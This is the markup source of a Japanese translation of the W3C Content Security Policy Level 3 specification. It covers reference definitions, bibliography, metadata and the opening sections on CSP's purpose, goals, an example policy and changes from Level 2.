A.要素は~nonce可能か？:#is-element-nonceable
A.~source~listは型~用の~inlineな挙動をすべて許容するか？:#allow-all-inline
A.要素 は ( 型, ~source ) について~source~listに合致するか？:#match-element-to-source-list

A.文書~用に~CSP初期化を走らす:#run-document-csp-initialization
A.大域~obj用に~CSP初期化を走らす:#run-global-object-csp-initialization

A.~WebRTC接続は大域~objに対し阻止されるべきか？:#should-block-rtc-connection

§ ~Fetchとの統合:#fetch-integration
§ ~HTMLとの統合:#html-integration
§ ~strict-dynamic の用法:#strict-dynamic-usage
	§:#csp-header
	§:#cspro-header
	§:#meta-element
	§:#allow-base-for-document
	§:#multiple-policies

	CSP Level 2:`CSP2$r
	Content Security Policy Level 2:`CSP2$r

	●JS／WebAssembly
jA.HostEnsureCanCompileStrings:~TC39#sec-hostensurecancompilestrings
jA.HostEnsureCanCompileWasmBytes:https://webassembly.github.io/content-security-policy/js-api/#host-ensure-can-compile-wasm-bytes

~realm:~TC39#realm

E.EvalError:~WEBIDL#exceptiondef-evalerror
E.CompileError:~WASM/js-api/#zexceptiondef-compileerror

I.TrustedScript:~TRUSTED-TYPES#trustedscript

	●INFRA

~byte列:~INFRA#byte-sequence
文字列:~INFRA#string
一致する:~INFRA#string-is
から開始して:~INFRA#string-starts-with
で終端して:~INFRA#string-ends-with
~ASCII大小無視:~INFRA#ascii-case-insensitive
sub.大小無視:#_ascii-case_insensitive
~ASCII小文字~化する:~INFRA#ascii-lowercase
~ASCII文字列:~INFRA#ascii-string
~ASCII数字:~INFRA#ascii-digit
~ASCII空白:~INFRA#ascii-whitespace
~ASCII空白で分割する:~INFRA#split-on-ascii-whitespace
区切子で厳密に分割する:~INFRA#strictly-split
連結する:~INFRA#string-concatenate
同型に復号する:~INFRA#isomorphic-decode
~scalar値~文字列に変換する:~INFRA#javascript-string-convert
終端までを成す符号単位~部分文字列:~INFRA#code-unit-substring-to-the-end-of-the-string

	前後の~ASCII空白~列を剥ぐ:~INFRA#strip-leading-and-trailing-ascii-whitespace
	符号位置~並びを収集する:~INFRA#collect-a-sequence-of-code-points

~list:~INFRA#list
	~IN:~INFRA#list-contain
包含して:~INFRA#list-contain
空:~INFRA#list-is-empty
~size:~INFRA#list-size
範囲:~INFRA#the-range
付加する:~INFRA#list-append
有順序~集合:~INFRA#ordered-set
set.付加する:~INFRA#set-append
空である:~INFRA#is-empty
~map:~INFRA#ordered-map
構造体:~INFRA#struct
~Infra値を~JSON~byte列に直列化する:~INFRA#serialize-an-infra-value-to-json-bytes

	＊？contains:~INFRA#map-exists

	●URL1
~URL:~URL1#concept-url
基底~URL:~URL1#concept-base-url
~URL構文解析する:~URL1#concept-url-parser
~URLを直列化する:~URL1#concept-url-serializer
~host:~URL1#concept-host
~domain:~URL1#concept-domain
既定~port:~URL1#default-port
文字列を~byte列に~percent-復号する:~URL1#string-percent-decode
url.生成元:~URL1#concept-url-origin
url.~host:~URL1#concept-url-host
	＊？#dom-url-host
url.~path:~URL1#concept-url-path
url.~port:~URL1#concept-url-port
	＊？#dom-url-port
url.~scheme:~URL1#concept-url-scheme
url.~username:~URL1#concept-url-username
url.~password:~URL1#concept-url-password
url.素片:~URL1#concept-url-fragment

	●fetch
~HTTP_S~scheme:~FETCH#http-scheme
局所~scheme:~FETCH#local-scheme
url.局所的:~FETCH#is-local
~fetch:~FETCH#concept-fetch
~main~fetch:~FETCH#main-fetch
~header~list:~FETCH#concept-header-list
~network~error:~FETCH#concept-network-error
A.~header~listから値を抽出する:~FETCH#extract-header-list-values

応答:~FETCH#concept-response
rs.~header~list:~FETCH#concept-response-header-list
rs.~URL:~FETCH#concept-response-url
rs.本体:~FETCH#concept-response-body

要請:~FETCH#concept-request
rq.本体:~FETCH#concept-request-body
rq.~client:~FETCH#concept-request-client
rq.資格証~mode:~FETCH#concept-request-credentials-mode
rq.~keepaliveか:~FETCH#request-keepalive-flag
rq.現在の~URL:~FETCH#concept-request-current-url
rq.行先:~FETCH#concept-request-destination
rq.~header~list:~FETCH#concept-request-header-list
rq.起動元:~FETCH#concept-request-initiator
rq.~method:~FETCH#concept-request-method
rq.生成元:~FETCH#concept-request-origin
rq.~redirect~mode:~FETCH#concept-request-redirect-mode
rq.~mode:~FETCH#concept-request-mode
rq.~URL:~FETCH#concept-request-url
rq.~window:~FETCH#concept-request-window
rq.暗号用~nonce~metadata:~FETCH#concept-request-nonce-metadata
rq.構文解析器~metadata:~FETCH#concept-request-parser-metadata
rq.完全性~metadata:~FETCH#concept-request-integrity-metadata
rq.~redirect回数:~FETCH#concept-request-redirect-count
rq.施策~容器:~FETCH#concept-request-policy-container

~scriptに類する:~FETCH#request-destination-script-like

~CSS規則を挿入する:~CSSOM1#insert-a-css-rule
~CSS規則として構文解析する:~CSSOM1#parse-a-css-rule
選択子~listとして構文解析する:~CSSOM1#parse-a-group-of-selectors
~CSS宣言~blockを構文解析する:~CSSOM1#parse-a-css-declaration-block


	●HTML
~plugin:~HTMLINFRA#plugin

~CORS同一-生成元:~HTMLurl#cors-same-origin

子~navigable:~HTMLds#child-navigable
~navigable:~HTMLds#navigable
~node~navigable:~HTMLds#node-navigable
nav.容器~文書:~HTMLds#nav-container-document
結付けられた文書:~WINDOW#concept-document-window

生成元:~ORIGIN#concept-origin
	＊？生成元:~HTMLINFRA#concept-request-origin
不透明な生成元:~ORIGIN#concept-origin-opaque
成分組~生成元:~ORIGIN#concept-origin-tuple
o.~scheme:~ORIGIN#concept-origin-scheme
o.~host:~ORIGIN#concept-origin-host
o.~port:~ORIGIN#concept-origin-port
生成元を直列化する:~ORIGIN#ascii-serialisation-of-an-origin
~sandbox法~指令を構文解析する:~ORIGIN#parse-a-sandboxing-directive
~sandbox法~flag集合:~ORIGIN#sandboxing-flag-set
作動中な~sandbox法~flag集合:~ORIGIN#active-sandboxing-flag-set
~CSPから導出される~sandbox法~flag群:~ORIGIN#csp-derived-sandboxing-flags
閲覧~文脈~sandbox化( 生成元 )~flag:~ORIGIN#sandboxed-origin-browsing-context-flag
閲覧~文脈~sandbox化( ~script )~flag:~ORIGIN#sandboxed-scripts-browsing-context-flag
施策~容器:~ORIGIN#policy-container
pC.~CSP~list:~ORIGIN#policy-container-csp-list

~fetchingにより~navi~paramsを作成する:~HTMLnav#create-navigation-params-by-fetching
履歴~entryの文書を拡充するよう試みる:~HTMLnav#attempt-to-populate-the-history-entry's-document

文書を作成して初期化する:~HTMLlifecycle#initialise-the-document-object

~iframe-srcdoc文書:~HEembed#an-iframe-srcdoc-document

~workerを走らす:~WORKERS#run-a-worker
文書~list:~WORKERS#the-worker's-documents
~swを走らす:~SW1#run-service-worker

~taskを~queueする:~WAPI#queue-a-task
環境~設定群~obj:~WAPI#environment-settings-object
関連な設定群~obj:~WAPI#relevant-settings-object
現在の設定群~obj:~WAPI#current-settings-object
大域~obj:~WAPI#global-object
rM.大域~obj:~WAPI#concept-realm-global
enV.大域~obj:~WAPI#concept-settings-object-global
enV.生成元:~WAPI#concept-settings-object-origin
enV.施策~容器:~WAPI#concept-settings-object-policy-container

~event~handler内容~属性:~WAPI#event-handler-content-attributes

凍結d基底~URLを設定する:~HEmetadata#set-the-frozen-base-url
~style~blockを更新する:~HEmetadata#update-a-style-block

構文解析-時に挿入され:~HEscripting#parser-inserted
~script要素を準備する:~HEscripting#prepare-the-script-element

doc.施策~容器:~HTMLdom#concept-document-policy-container
doc.~referrer:~HTMLdom#the-document's-referrer
同一-生成元:~ORIGIN#same-origin

	●他
実装-:~WEBIDLjs#implements
新たな~obj:~WEBIDLjs#new

~at_import:~CASCADE#at-ruledef-import

~eventを発火する:~DOM4#concept-event-fire
~shadowも含めた根:~DOM4#concept-shadow-including-root
接続されて:~DOM4#connected
doc.生成元:~DOM4#concept-document-origin
	doc.生成元:~DOM4#dom-document-origin
要素:~DOM4#concept-element
属性~list:~DOM4#concept-element-attribute
~node文書:~DOM4#concept-node-document
文書:~DOM4#concept-document
doc.~URL:~DOM4#concept-document-url

表現:~HTTPinfra#representation
資源~表現:~HTTPinfra#representation
~HTTP状態s~code:~HTTPsem#status-code

完全性~metadata:~SRI#integrity-metadata
~metadataを構文解析する:~SRI#parse-metadata
iM.~algo:~SRI#_integrity-metadata-hash-algo
iM.値:~SRI#_integrity-metadata-digest
~byte列に~algoを適用する:~SRI#apply-algorithm-to-response

	https://www.w3.org/TR/SRI/#parse-metadata
	https://w3c.github.io/webappsec-subresource-integrity/#parse-metadata

~UTF-8符号化する:~ENCODING#utf-8-encode

信用-済みな型に準拠な文字列を取得する:~TRUSTED-TYPES#abstract-opdef-get-trusted-type-compliant-string
~sink型は信用-済みな型を要求するか？:~TRUSTED-TYPES#abstract-opdef-does-sink-type-require-trusted-types

trS.~data:~TRUSTED-TYPES#trustedscript-data


●●ref_data
RFC3492=副            crieit.net/posts/RFC3492-Punycode-IDNA-Unicode-Bootstring

●●ref_normative

[CSS-CASCADE-5]
    Elika Etemad; Miriam Suzanne; Tab Atkins Jr.. ＜CSS Cascading and Inheritance Level 5＞. 13 January 2022. CR. URL: https://www.w3.org/TR/css-cascade-5/
[CSSOM]
    Daniel Glazman; Emilio Cobos Álvarez. ＜CSS Object Model (CSSOM)＞. 26 August 2021. WD. URL: https://www.w3.org/TR/cssom-1/
[DOM]
    Anne van Kesteren. ＜DOM Standard＞. Living Standard. URL: https://dom.spec.whatwg.org/
[ECMA262]
    Brian Terlson; Allen Wirfs-Brock. ＜ECMAScript® Language Specification＞. URL: https://tc39.github.io/ecma262/
[ENCODING]
    Anne van Kesteren. ＜Encoding Standard＞. Living Standard. URL: https://encoding.spec.whatwg.org/
[FETCH]
    Anne van Kesteren. ＜Fetch Standard＞. Living Standard. URL: https://fetch.spec.whatwg.org/
[HTML]
    Anne van Kesteren; et al. ＜HTML Standard＞. Living Standard. URL: https://html.spec.whatwg.org/multipage/
[INFRA]
    Anne van Kesteren; Domenic Denicola. ＜Infra Standard＞. Living Standard. URL: https://infra.spec.whatwg.org/
[REPORTING]
    Ilya Grigorik; Mike West. ＜Reporting API＞. URL: https://wicg.github.io/reporting/
[REPORTING-1]
    Douglas Creager; Ian Clelland; Mike West. ＜Reporting API＞. 13 August 2024. WD. URL: https://www.w3.org/TR/reporting-1/
[RFC2119]
    S. Bradner. ＜Key words for use in RFCs to Indicate Requirement Levels＞. March 1997. Best Current Practice. URL: https://datatracker.ietf.org/doc/html/rfc2119
[RFC3492]
    A. Costello. ＜Punycode: A Bootstring encoding of Unicode for Internationalized Domain Names in Applications (IDNA)＞. March 2003. Proposed Standard. URL: https://www.rfc-editor.org/rfc/rfc3492
[RFC3864]
    G. Klyne; M. Nottingham; J. Mogul. ＜Registration Procedures for Message Header Fields＞. September 2004. Best Current Practice. URL: https://www.rfc-editor.org/rfc/rfc3864
[RFC3986]
    T. Berners-Lee; R. Fielding; L. Masinter. ＜Uniform Resource Identifier (URI): Generic Syntax＞. January 2005. Internet Standard. URL: https://www.rfc-editor.org/rfc/rfc3986
[RFC4648]
    S. Josefsson. ＜The Base16, Base32, and Base64 Data Encodings＞. October 2006. Proposed Standard. URL: https://www.rfc-editor.org/rfc/rfc4648
[RFC5234]
    D. Crocker, Ed.; P. Overell. ＜Augmented BNF for Syntax Specifications: ABNF＞. January 2008. Internet Standard. URL: https://www.rfc-editor.org/rfc/rfc5234
[RFC7762]
    M. West. ＜Initial Assignment for the Content Security Policy Directives Registry＞. January 2016. Informational. URL: https://www.rfc-editor.org/rfc/rfc7762
[RFC8288]
    M. Nottingham. ＜Web Linking＞. October 2017. Proposed Standard. URL: https://httpwg.org/specs/rfc8288.html
[RFC9110]
    R. Fielding, Ed.; M. Nottingham, Ed.; J. Reschke, Ed.. ＜HTTP Semantics＞. June 2022. Internet Standard. URL: https://httpwg.org/specs/rfc9110.html
[SERVICE-WORKERS]
    Yoshisato Yanagisawa; Monica CHINTALA. ＜Service Workers＞. 6 March 2025. CRD. URL: https://www.w3.org/TR/service-workers/
[SRI]
    Devdatta Akhawe; et al. ＜Subresource Integrity＞. 23 June 2016. REC. URL: https://www.w3.org/TR/SRI/
[SRI-2]
    Frederik Braun. ＜Subresource Integrity＞. 22 April 2025. FPWD. URL: https://www.w3.org/TR/sri-2/
[TRUSTED-TYPES]
    Krzysztof Kotowicz. ＜Trusted Types＞. 10 January 2025. WD. URL: https://www.w3.org/TR/trusted-types/
[URL]
    Anne van Kesteren. ＜URL Standard＞. Living Standard. URL: https://url.spec.whatwg.org/
[WEBIDL]
    Edgar Chen; Timothy Gu. ＜Web IDL Standard＞. Living Standard. URL: https://webidl.spec.whatwg.org/
[WEBRTC]
    Cullen Jennings; et al. ＜WebRTC: Real-Time Communication in Browsers＞. 13 March 2025. REC. URL: https://www.w3.org/TR/webrtc/

●●ref_informative

[APPMANIFEST]
    Marcos Caceres; et al. ＜Web Application Manifest＞. 20 March 2025. WD. URL: https://www.w3.org/TR/appmanifest/
[BEACON]
    Ilya Grigorik; Alois Reitbauer. ＜Beacon＞. 3 August 2022. CRD. URL: https://www.w3.org/TR/beacon/
[CSP2]
    Mike West; Adam Barth; Daniel Veditz. ＜Content Security Policy Level 2＞. 15 December 2016. REC. URL: https://www.w3.org/TR/CSP2/
[CSS-ABUSE]
    Chris Evans. ＜Generic cross-browser cross-domain theft＞. 28 December 2009. URL: https://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html
[EVENTSOURCE]
    Ian Hickson. ＜Server-Sent Events＞. 28 January 2021. REC. URL: https://www.w3.org/TR/eventsource/
[FILEDESCRIPTOR-2015]
    filedescriptor. ＜CSP 2015＞. 23 November 2015. URL: https://blog.innerht.ml/csp-2015/#danglingmarkupinjection
[H5SC3]
    Mario Heiderich. ＜H5SC Minichallenge 3: "Sh*t, it's CSP!"＞. URL: https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22
[HTML-DESIGN]
    Anne Van Kesteren; Maciej Stachowiak. ＜HTML Design Principles＞. URL: https://www.w3.org/TR/html-design-principles/
[LONG-LIVE-CSP]
    Lukas Weichselbaum; et al. ＜CSP Is Dead, Long Live CSP! On the Insecurity of Whitelists and the Future of Content Security Policy＞. 24 October 2016. URL: https://dl.acm.org/doi/10.1145/2976749.2978363
[MIX]
    Emily Stark; Mike West; Carlos IbarraLopez. ＜Mixed Content＞. 23 February 2023. CRD. URL: https://www.w3.org/TR/mixed-content/
[TIMING]
    Paul Stone. ＜Pixel Perfect Timing Attacks＞. URL: https://owasp.org/www-pdf-archive/HackPra_Allstars-Browser_Timing_Attacks_-_Paul_Stone.pdf
[UISECURITY]
    Brad Hill. ＜User Interface Security and the Visibility API＞. 7 June 2016. WD. URL: https://www.w3.org/TR/UISecurity/
[UPGRADE-INSECURE-REQUESTS]
    Mike West. ＜Upgrade Insecure Requests＞. 8 October 2015. CR. URL: https://www.w3.org/TR/upgrade-insecure-requests/
[WEBDEV-STRICTCSP]
    Lukas Weichselbaum. ＜Mitigate cross-site scripting (XSS) with a strict Content Security Policy (CSP)＞. 15 March 2021. URL: https://web.dev/strict-csp/
[WEBSOCKETS]
    Adam Rice. ＜WebSockets Standard＞. Living Standard. URL: https://websockets.spec.whatwg.org/
[XHR]
    Anne van Kesteren. ＜XMLHttpRequest Standard＞. Living Standard. URL: https://xhr.spec.whatwg.org/
[XSLT]
    James Clark. ＜XSL Transformations (XSLT) Version 1.0＞. 16 November 1999. REC. URL: https://www.w3.org/TR/xslt-10/


●●trans_metadata
<p>
~THIS_PAGEは、
~W3Cにより作業草案として公開された
<a href="~SPEC_URL">Content Security Policy Level 3</a>
を日本語に翻訳したものです。
~PUB
</p>

●●spec_metadata

最新公表バージョン
	https://www.w3.org/TR/CSP3/
公表履歴
	https://www.w3.org/standards/history/CSP3/
編集者草案
	https://w3c.github.io/webappsec-csp/
フィードバック
	<a href="mailto:public-webappsec@w3.org?subject=%5BCSP3%5D%20YOUR%20TOPIC%20HERE">public-webappsec@w3.org</a> with subject line “<kbd>[CSP3] <i>… message topic …</i></kbd>” (<a href="https://lists.w3.org/Archives/Public/public-webappsec/" rel="discussion">archives</a>)
	https://github.com/w3c/webappsec-csp/issues/

編集
	<a href="mailto:mkwst@google.com">Mike West</a> (Google Inc.)
	<a href="mailto:antoniosartori@google.com">Antonio Sartori</a> (Google Inc.)
Participate:
	<a href="https://github.com/w3c/webappsec-csp/issues/new">File an issue</a> (<a href="https://github.com/w3c/webappsec-csp/issues">open issues</a>)
テスト
	https://github.com/web-platform-tests/wpt/tree/master/content-security-policy
テスト（進行中な作業）
	https://github.com/web-platform-tests/wpt/labels/content-security-policy

commit 履歴
	https://github.com/w3c/webappsec-csp/commits/main
公表者
	<a href="https://www.w3.org/groups/wg/webappsec">Web Application Security Working Group</a>
</script>


</head>

<body>

<header>

	<hgroup>
<h1>Content Security Policy Level 3</h1>
	</hgroup>
</header>

<div id="MAIN" hidden>

	<section id="abstract">
◎要約

<p>
この文書は、
特定0の~pageが どの資源を~fetchあるいは実行できるか，および
~securityに関連な数々の施策~裁定について，~web開発者が制御できる仕組みを定義する。
◎
This document defines a mechanism by which web developers can control the resources which a particular page can fetch or execute, as well as a number of security-relevant policy decisions.
</p>

	</section>
	<section id="sotd">
◎位置付け

<p>
この節では、公表~時点における…
【以下，この節の他の内容は、~SOTD-W3Cに移譲。】
</p>

<p>
次に挙げる特能は、
`~risk下＠~W3Ccommon#at-risk$にあり，
勧告候補の期間~中に落とされるかもしれません：
◎
The following features are at-risk, and may be dropped during the CR period:
</p>
<ul>
	<li>
`要素は~nonce可能か？$A
~algo
◎
The § 6.7.3.1 Is element nonceable? algorithm. 
</li>
</ul>

	</section>

<main id="MAIN0">

	<section id="intro">
<h2 title="Introduction">1. 序論</h2>

◎非規範的

<p>
この文書は、
`Content Security Policy^en
（ “内容~security施策”, または単に “施策” ）
— 略して
`~CSP@ †
—
を定義する。
それは、
開発者が自身の~appを種々の仕方で監禁して，［
~XSS（ `cross-site scripting^en ）などによる内容~注入~脆弱性の~riskを軽減する／
~appを実行する際に伴われる特権を抑制する
］ために利用できる~toolである。
◎
This document defines Content Security Policy (CSP), a tool which developers can use to lock down their applications in various ways, mitigating the risk of content injection vulnerabilities such as cross-site scripting, and reducing the privilege with which their applications execute.
</p>

<p class="trans-note">【
この訳では、［
原文の［
“`Content Security Policy^en” ／
“`content security policy^en” ／
“`CSP^en” ／
“`csp^en”
］を，一律に~CSPと記すことにする。
】</p>

<p>
~CSPは、
内容~注入~脆弱性に抗する前線防御（ `first line of defense^en ）として意図されたものではなく，
多層防御（ `defense-in-depth^en ）としての利用に最も適する。
【すなわち、注入~そのものを防ぐのではなく，注入されたものが効果を発揮することを防ぐ。】
それは、
悪意的な注入により生じ得る被害を抑制するが，注意深い［
入力~検証／出力~符号化法
］【すなわち，前線防御】
を置き換えるものではない。
◎
CSP is not intended as a first line of defense against content injection vulnerabilities. Instead, CSP is best used as defense-in-depth. It reduces the harm that a malicious injection can cause, but it is not a replacement for careful input validation and output encoding.
</p>

<div class="p">
<p>
この文書は， `CSP2$r の繰り~~返しであるが、
次の二点を目標にしている：
</p>

<ul>
	<li>
~CSP, ~HTML, ~Fetch
間の相互作用を もっと明瞭に説明する。
</li>
	<li>
~modularに拡張するための明瞭な各種~hookを供する。
</li>
</ul>

<p>
これは，理想的には、
安定的な中核を形成して，その上に新たな機能性を築けるようにする。
</p>

◎
This document is an iteration on Content Security Policy Level 2, with the goal of more clearly explaining the interactions between CSP, HTML, and Fetch on the one hand, and providing clear hooks for modular extensibility on the other. Ideally, this will form a stable core upon which we can build new functionality.
</div>

		<section id="examples">
<h3 title="Examples">1.1. 例</h3>

			<section id="example-basic">
<h4 title="Control Execution">1.1.1. 実行~制御</h4>

<div class="example">
<p>
~MegaCorp社の~web開発者たちは、
~XSS攻撃に抗して保護するよう求まれているとする。
彼らが信用する~CDNの生成元から読込まれる~scriptに限り，実行-可能にすることにより、
~script注入による~riskを軽減できる。
加えて、
彼らの~pageの文脈~下では，どの~pluginも実行させなくしたいとする。
そのような効果は、
次の施策で得られる：
◎
MegaCorp Inc’s developers want to protect themselves against cross-site scripting attacks. They can mitigate the risk of script injection by ensuring that their trusted CDN is the only origin from which script can load and execute. Moreover, they wish to ensure that no plugins can execute in their pages' contexts. The following policy has that effect:
</p>

<pre class="lang-http">
`Content-Security-Policy$h:
    `script-src$dir https://cdn.example.com/scripts/;
    `object-src$dir `none$pl
</pre>

<p class="trans-note">【
長い行を~page横幅に収める都合により, あるいは読みやすくするため、
この訳~全体を通して，
~HTTP~headerの例示~codeでは、
長い行は折返した上で字下げした形で示す
— HTTP/1.1 の構文としては、
折返しは許容されないことに注意。
】</p>
</div>

			</section>
		</section>
		<section id="goals">
<h3 title="Goals">1.2. 目標</h3>

<p>
~CSPが目指すものは：
◎
Content Security Policy aims to do to a few related things:
</p>

<ol>
	<li>
<p>
内容~注入~攻撃による~riskを軽減するため、
次についての相応に細かい制御を~web開発者に与える：
◎
Mitigate the risk of content-injection attacks by giving developers fairly granular control over
</p>
		<ul>
			<li>
特定の［
`文書$／ `Worker$I
］が，それ自身のために どの資源を要請できるか
（および，後続して 自身に埋込めるか／実行できるか）について。
◎
The resources which can be requested (and subsequently embedded or executed) on behalf of a specific Document or Worker
</li>
			<li>
~inlineな~scriptの実行。
◎
The execution of inline script
</li>
			<li>
動的な（ `eval()^c その他の類似な構成子を介する）~code実行。
◎
Dynamic code execution (via eval() and similar constructs)
</li>
			<li>
~inlineな~styleの適用。
◎
The application of inline style
</li>
		</ul>
	</li>
	<li>
［
どの生成元が，所与の資源を埋込めるか
］についての細かい制御を~web開発者に与えて、［
資源が悪意的な文脈~内に埋込まれることを要する攻撃
（ `TIMING$r に述べられた “`Pixel Perfect^en” 攻撃, 等々）
］による~riskを軽減する。
◎
Mitigate the risk of attacks which require a resource to be embedded in a malicious context (the "Pixel Perfect" attack described in [TIMING], for example) by giving developers granular control over the origins which can embed a given resource.
</li>
	<li>
［
自身の~appの特権を抑制することを，開発者に許容する
］ための，施策~frameworkを供する。
◎
Provide a policy framework which allows developers to reduce the privilege of their applications.
</li>
	<li>
［
~~外から悪用されている欠陥を検出することを，~web開発者に許容する
］ための，報告-法の仕組みを供する。
◎
Provide a reporting mechanism which allows developers to detect flaws being exploited in the wild.
</li>
</ol>

		</section>
		<section id="changes-from-level-2">
<h3 title="Changes from Level 2">1.3. ~level 2 からの変更点</h3>

<p>
この文書は、
`CSP2$r からの発展を述べる。
`CSP2$r からの変更点についての高~levelな概観は：
◎
This document describes an evolution of the Content Security Policy Level 2 specification [CSP2]. The following is a high-level overview of the changes:
</p>

<ol>
	<li>
この仕様は、［
他の仕様（特に `SERVICE-WORKERS-1$r ）が，~CSPの各種 要件と制約を より単純に統合できる
］ようにすべく、
`FETCH$r 仕様の用語を通して，土台から書き直された。
◎
The specification has been rewritten from the ground up in terms of the [FETCH] specification, which should make it simpler to integrate CSP’s requirements and restrictions with other specifications (and with Service Workers in particular).
</li>
	<li>
<p>
`child-src$dir ~modelは、
かなり改められた：
◎
The child-src model has been substantially altered:
</p>
		<ul>
			<li>
`CSP2$r で非推奨にされた `frame-src$dir 指令は，非推奨dでなくなったが、
無い場合は `child-src$dir に先送りされ続ける
（それも無い場合は `default-src$dir に先送りされる）。
◎
The frame-src directive, which was deprecated in CSP Level 2, has been undeprecated, but continues to defer to child-src if not present (which defers to default-src in turn).
</li>
			<li>
`worker-src$dir 指令が追加され、
無い場合は `child-src$dir に先送りされる
（それも無い場合は， `script-src$dir に,
それも無い場合は `default-src$dir に先送りされる）。
◎
A worker-src directive has been added, deferring to child-src if not present (which likewise defers to script-src and eventually default-src).
</li>
		</ul>
	</li>
	<li>
<p>
~URL照合~algoは，今や、
~secureでない［
~scheme／~port
］を その~secureな~scheme版に合致するように扱う。
すなわち、
`~source式$
`http://example.com:80^s
は
`http://example.com:80^s,
`https://example.com:443^s
の両者に合致することになる。
◎
The URL matching algorithm now treats insecure schemes and ports as matching their secure variants. That is, the source expression http://example.com:80 will match both http://example.com:80 and https://example.com:443.
</p>

<p>
同様に `self$pl は、
`http_^sc ~schemeの~page上であっても，［
~pageの生成元の~schemeを［
`https_^sc ／ `wss_^sc
］に置き換えた生成元
］にも合致するようにされた。
◎
Likewise, 'self' now matches https: and wss: variants of the page’s origin, even on pages whose scheme is http.
</p>
	</li>
<li>
~inlineな［
~script／~style
］から生成される違反~報告は，今や、
阻止された`資源$vrとして `inline^l を報告するようになった。
同様に，阻止された `eval()^c 実行は、
阻止された`資源$vrとして `eval^l を報告するようになった。
◎
Violation reports generated from inline script or style will now report "inline" as the blocked resource. Likewise, blocked eval() execution will report "eval" as the blocked resource.
</li>
	<li>
`manifest-src$dir 指令が追加された。
◎
The manifest-src directive has been added.
</li>
	<li>
新たな `report-to$dir 指令への支持を受けて、
`report-uri$dir 指令は非推奨にされた。
`report-to^dir は、
基盤として `REPORTING$r に依拠する。
◎
The report-uri directive is deprecated in favor of the new report-to directive, which relies on [REPORTING] as infrastructure.
</li>
	<li>
`strict-dynamic^pl ~source式は，今や、［
~page上で実行する~scriptが、
`構文解析-時に挿入され$たものでない `script$e 要素を介して，更に~scriptを読込む
］ことを許容する。
詳細は、
`§ ~strict-dynamic の用法$
にて。
◎
The 'strict-dynamic' source expression will now allow script which executes on a page to load more script via non-"parser-inserted" script elements. Details are in § 8.2 Usage of "'strict-dynamic'".
</li>
	<li>
`unsafe-hashes$pl ~source式は，今や、［
~event~handler ／ ~style属性 ／ `javascript_^sc ~navi~target
］が~hashに合致することを許容する。
詳細は、
<a href="#unsafe-hashes-usage">§ `unsafe-hashes^pl の用法</a>
に。
◎
The 'unsafe-hashes' source expression will now allow event handlers, style attributes and javascript: navigation targets to match hashes. Details in § 8.3 Usage of "'unsafe-hashes'".
</li>
	<li>
`~source式$の照合では、
`局所~scheme$のみならず，［
保護される資源の~schemeと同じでない どの非`~HTTP_S~scheme$も明示的に在る
］ことが要求されるようになった
— `~URLは ( 生成元, ~redirect回数 ) について式に合致するか？$A
を見よ。
◎
The source expression matching has been changed to require explicit presence of any non-HTTP(S) scheme, rather than local scheme, unless that non-HTTP(S) scheme is the same as the scheme of protected resource, as described in § 6.7.2.8 Does url match expression in origin with redirect count?.
</li>
	<li>
~hashに基づく~source式は，今や、
外部~scriptに合致し得る
— 要請を誘発する当の `script$e 要素が［
完全性~metadataたちが成す集合を指定していて，それが現在の施策~内に~listされている
］ならば。
詳細は、
`§ ~hashを介して外部~JSを許容する＠#external-hash$
を見よ。
◎
Hash-based source expressions may now match external scripts if the script element that triggers the request specifies a set of integrity metadata which is listed in the current policy. Details in § 8.4 Allowing external JavaScript via hashes.
</li>
	<li>
~inline違反~用に生成される報告は、
関連な指令が `report-sample$pl 式を包含する場合には，
空でない`見本$vrを包含することになる。
◎
Reports generated for inline violations will contain a sample attribute if the relevant directive contains the 'report-sample' expression.
</li>
</ol>

		</section>
	</section>
	<section id="_conventions">
<h2>【この訳に特有な表記規約】</h2>

◎表記記号

<p>
記号［
~EQ, ~NEQ, ~IN, ~NIN
］に添えられる
“`大小無視@sub”
は、
記号の意味を `~ASCII大小無視$による比較に基づくように改めることを表す。
（他が指定されない限り、
文字列は`一致する$かどうかに基づいて比較される。）
</p>

<p>
~protocol要素
`ALPHA@P,
`DIGIT@P,
`VCHAR@P
は、
`RFC5234$r `§ B.1＠~RFCx/rfc5234.html#appendix-B.1$
にて定義される。
尚，これらを含む他の仕様に定義される~protocol要素は
— 実際には~byte列を表現しているものが多いが —
この仕様の中では，`同型に復号する$ことを通して`~ASCII文字列$と暗黙的に同一視される
（構文解析-時に，そのように復号される）。
（この仕様に現れる~protocol要素は、
どれも，~ASCII範囲の［
~byte／文字
］のみからなる。）
</p>

<p>
次に挙げる符号位置も利用される：
</p>

<table><thead>
<tr><th>表記
<th>符号位置

<tbody><tr><th>`~asterisk@
<td>`002A^U `ASTERISK^cn ( `*^l )

<tr><th>`~semicolon@
<td>`003B^U `SEMICOLON^cn ( `;^l )

<tr><th>`~slash@
<td>`002F^U `SOLIDUS^cn ( `/^l )

<tr><th>`~comma@
<td>`002C^U `COMMA^cn ( `,^l )

<!-- 
<tr><th>period
<td>U+002E FULL STOP ( `.^l )
-->
</table>

<p>
次に挙げる~styleが表記に用いられる：
</p>
<ul>
	<li>
`production^p
— ~protocol要素（ ABNF 生成規則）
</li>
	<li>
`example-directive$dir
— ~CSP`指令$
</li>
	<li>
`literal^l
— ~literalとして与えられる文字列（引用符は~dataに含まれない）
</li>
	<li>
`literal^pl
— ~literalとして与えられる文字列。
引用符も~dataに`含まれる^em。
</li>
	<li>
`Example-Header^h
— ~HTTP~header名
</li>
	<li>
`element^e
— ~HTML要素
</li>
	<li>
`attribute^a
— ~HTML内容~属性
</li>
	<li>
`idl-construct^I
— 他の~code類（~IDL属性など）
</li>
	<li>
`sample-code^s
— （地の文の中の）見本~code類
</li>
</ul>

<p>
長い行を~page横幅に収める都合により, あるいは読みやすくするため、
~HTTP~headerの例示~codeでは、
長い行は折返した上で，字下げした形で示される
— HTTP/1.1 の構文としては、
折返しは許容されないことに注意。
</p>

	</section>
	<section id="framework">
<h2 title="Framework">2. ~framework</h2>

		<section id="framework-infrastructure">
<h3 title="Infrastructure">2.1. 基盤</h3>

<p>
この文書は、
`RFC5234$r に定義される~ABNF文法を利用して構文を指定する。
また、
`RFC9110$r `§ 5.6.1＠~HTTPinfra#abnf.extension$
に定義される `#規則^ ~ABNF拡張にも依拠する
— ただし、
その `OWS^P を `optional-ascii-whitespace$p に置換するように改変する。
すなわち、
この文書に利用される
`#規則@
は、
所与の
( ~protocol要素 %element )
に対し，次で定義される：
◎
